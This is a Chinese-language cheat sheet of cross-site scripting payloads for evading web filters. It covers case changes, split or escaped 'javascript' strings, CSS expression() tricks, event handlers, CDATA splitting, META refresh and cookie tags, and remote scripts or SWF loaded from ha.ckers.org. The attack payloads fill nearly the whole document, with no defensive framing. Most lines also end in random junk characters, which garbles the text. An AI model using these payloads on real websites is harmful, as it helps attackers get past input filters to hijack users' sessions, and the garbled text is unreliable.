1. 改变字符大小写
) w; K4 f# h1 r( f" w1 u6 R" h$ B3 g7 e9 I& m
3 h4 p7 q( h" X8 ^5 V/ R7 A& }
; S# \/ B* z3 c0 v7 {. `
<sCript>alert(‘d’)</scRipT>+ [7 F- w& o& w7 s$ W: R: e) M; d
2 c# k) f2 g) a9 i( {: P5 S
2. 利用多加一些其它字符来规避Regular Expression的检查
& z/ U. A, d6 Y5 ?4 f( a$ {; H! E \% ~
<<script>alert(‘c’)//<</script>0 S- X& C/ ]" _9 J! R. M% ?+ k6 @
9 c. x) `7 g! U
<SCRIPT a=">" SRC="t.js"></SCRIPT>. i9 Y9 M4 R% J0 l& }, y
, `: g( Q4 {& G3 }9 Z. W/ m <SCRIPT =">" SRC="t.js"></SCRIPT> Y4 G4 ^" r. l( |& N4 k/ y5 [: L
6 z; x2 L( ^+ S# P <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
; N% Q+ N, Z7 o$ \/ q& O$ t0 S) d9 Z9 Q, T
<SCRIPT "a=’>’" SRC="t.js"></SCRIPT>. k5 `* T {% N. [$ h' Q
6 y0 G$ P$ Q0 y4 k: f* O) a
<SCRIPT a=`>` SRC="t.js"></SCRIPT>
/ m+ k3 b; D# q, V3 B- P M0 u+ y6 S5 Z# ^1 D& k/ V
<SCRIPT a=">’>" SRC="t.js"></SCRIPT>
; `- {4 W9 c7 n8 r
) d9 E" y+ W: R0 P$ O4 ^4 L' @3. 以其它扩展名取代.js+ @* H' s! A1 ~: ?
/ ^* n% ]6 }) J' b
<script src="bad.jpg"></script>4 V* e+ n9 `7 e' b/ I* t/ b
. H* k& U1 O2 A* J& |4. 将Javascript写在CSS档里/ r8 F. S: y& ^# y; F
( e \* _5 z P6 B <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">. T9 {& z; ]' p% G9 B. F9 H$ x# {
7 w; N) F1 X+ w* X
example:
$ A, T- {$ X1 r# c ~6 z3 g9 W z, d, Z* u5 t
body {. Z& ?# l- X! r2 y. ~0 x
+ [' U( D+ |7 L% f background-image: url(‘javascript:alert("XSS");’)
5 e9 E5 p7 c2 o; J- H6 n l. f# O& q2 Z
}
0 p0 ^; j0 C! O2 o% |( D k% Z; y
5. 在script的tag里加入一些其它字符 x \+ D, C5 C
K2 L v" c: Q
<SCRIPT/SRC="t.js"></SCRIPT>9 v- ?0 q8 s9 S
W- H2 m' m3 {6 O <SCRIPT/anyword SRC="t.js"></SCRIPT>5 T) H9 ?/ O, A+ y+ L& A7 _
! q8 s6 H9 I( f$ L3 \, c
6. 使用tab或是new line来规避9 E% n7 v/ _9 d
) Y, Z- {! j" \: W* D
<img src="jav ascr ipt:alert(‘XSS3′)">
* M1 ^5 r5 M) Z, R% e% m1 O" ?; F& E1 g7 B3 B
<img src="jav ascr ipt:alert(‘XSS3′)">
9 @1 l/ G" s; ^$ j# c
1 z9 J, Y) l8 e/ V" v: z5 R <IMG SRC="jav ascript:alert(‘XSS’);">
3 Y) X1 F" M% D% n( x, V v# }# w5 c1 U7 l
-> tag
) E* w! t+ }, Y% s0 C
" r0 T: O% h, |/ v# T1 o ` -> new line
8 d9 `/ v2 V6 p
, o0 `. N; A! Z9 H" }7. 使用"\"来规避
- b; X" X! R% }0 _ b! Z
6 Q! ]9 Q+ [+ Y/ ~" T. d! } S <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>: u8 c2 U5 t; F
+ A4 m6 j0 y3 G+ c3 }7 Q
<IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
# A- [( l! q: h0 W' J, l- B1 {1 d: E
<IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">; y Y/ M7 E* n% @( f6 Z4 Y9 {. ^( v
0 N$ e" b1 [5 _. m0 I' U <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">; S% w K$ S( Q$ e- o. e) k
1 |. R. W+ i* ?5 d1 [7 G) x3 G <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>+ G! `/ v5 F. w* L* p4 ]
6 n; E1 {# P) p+ g+ U
8. 使用Hex encode来规避(也可能会把";"拿掉)% e5 b% ^9 r5 N( m/ p. o9 X# b r
4 _/ A; ?0 K% L4 M0 z+ x. k
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">2 v$ h5 D j' t9 `0 E) B
+ `$ s5 |! Z4 M7 g( ]3 s1 e 原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">& L6 U1 a B. V( ], x% x) X
: u& \ D9 k+ d; [" W9 Y
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
x8 p8 ~3 [$ k$ V
3 p6 \% }# R [) Q* z# _6 d, o 原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
) Y, f' S- J* K8 S
; @: q3 d* p- Q }7 o) d9. script in HTML tag& g, M, ?! I; g r/ U Q# Q
. P/ m2 M* R$ i, Y" f1 W9 |4 P
<body onload=」alert(‘onload’)」>+ J3 Q; W0 a, C7 @. U4 P
0 P0 | u7 W, { onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload C5 u+ i( O7 Y& z, F" q% N9 h
) W/ y. v7 H$ z& t: S10. 在swf里含有xss的code
1 q; D+ q$ X) v8 j) A# q
0 y% K! W6 v) v3 w <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
, A; m7 i: J2 T) e( ^/ _* ~! D- q3 ^0 l; S, k* G
11. 利用CDATA将xss的code拆开,再组合起来。
2 U" Z0 v! H0 _ P/ C; H) y: `4 Y7 h* c
<XML ID=I><X><C>
% P4 P5 S$ S7 p& L, ?& I X& i$ e
<![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
% |$ I8 M9 \# m5 W( j4 R- s _) ^ i' i( L" j, a4 B
</C></X>% q; }7 M% T' [9 K. C
& r' U7 A- u' ^' J- x </xml>, Z0 s$ e8 u0 Y. b
- |2 W) d2 z9 P+ Q+ v
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
% `' n3 |+ h- L- m0 a2 a& v$ A: Q( q5 x3 U8 [ M* J& r
<XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>- i2 n' I0 U4 z) \! c) \6 d
' n8 t% f7 r+ @0 E! _ <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
; j0 [: |9 ?2 j8 H" k v
* U6 ?' A5 X* o5 h0 @! i9 U9 c12. 利用HTML+TIME。
! c0 e" d# K- e7 n" U+ _* Q
+ V7 M; h/ q% e( C <HTML><BODY>
) s1 A0 x: Q0 G+ {! T1 [1 J4 Z% ~/ \! d
, E! Y5 R/ i& [* w8 u$ \9 F <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">1 W6 f, R8 b/ {' {1 a
- T- ~0 V% [5 e. _& {/ R
<?import namespace="t" implementation="#default#time2">
/ Z; [ M' C' g- `4 M& w5 K! v& b- {) ]1 \: E) z1 {6 |; Y
<t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
: P" Q Y! Q8 t7 r9 ]) U! R0 _% Z! C2 j3 a
</BODY></HTML>
8 j, o+ A0 T7 }2 }4 h9 P- C/ Q( M8 T' Y* C7 o
13. 透过META写入Cookie。; T/ q3 U$ p* l3 ?
/ O0 E* u5 N( e; H/ h <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
8 Z* J- k+ p( M3 ~& S: g% ^
* q- z( J) I1 @/ Z14. javascript in src , href , url& G" w) D. d* `1 P+ a1 E7 e
: Y3 E" X) ?4 o0 T; L% s3 R <IFRAME SRC=javascript:alert(’13′)></IFRAME>8 Q! A' y$ J$ x: x
5 C: x4 u5 G7 G9 x3 F <img src="javascript:alert(‘XSS3′)">+ Z& C3 O1 p- s' b9 J+ d3 K
9 Q6 K% r! g# U; x6 W# t8 S
<IMG DYNSRC="javascript:alert(‘XSS20′)">7 }1 @6 _8 P8 ?0 Q/ V- m- m' [& z
4 _( @ n. ]+ O% p& w( f <IMG LOWSRC="javascript:alert(‘XSS21′)">
5 j: G! I/ u: }" r2 i
2 m. S$ q. N) s! N6 x5 c <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
, z& D7 c) q5 a- Q6 E" o( a4 M$ k
<IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>8 n9 f- w4 L4 d$ s2 \0 @
+ i, e) g: }' j5 Q! B <TABLE BACKGROUND="javascript:alert(‘XSS29′)">
8 |' N8 m5 f- t2 |4 ]& L1 G( r+ r
, S6 ^" G! _2 ~ <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">0 g; _' _" m4 f0 a; i
8 J, T; h8 E2 P/ q' B j
<STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}2 h4 z b: l3 P( h
/ `8 T0 ~. P; K( h" w
</STYLE><A CLASS=XSS></A>0 }0 ^& ~- d6 ^
W7 n! K6 Z7 B <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
4 \3 T- H F" W( {0 K8 \9 P$ @9 n9 _/ W) U- Q( W
|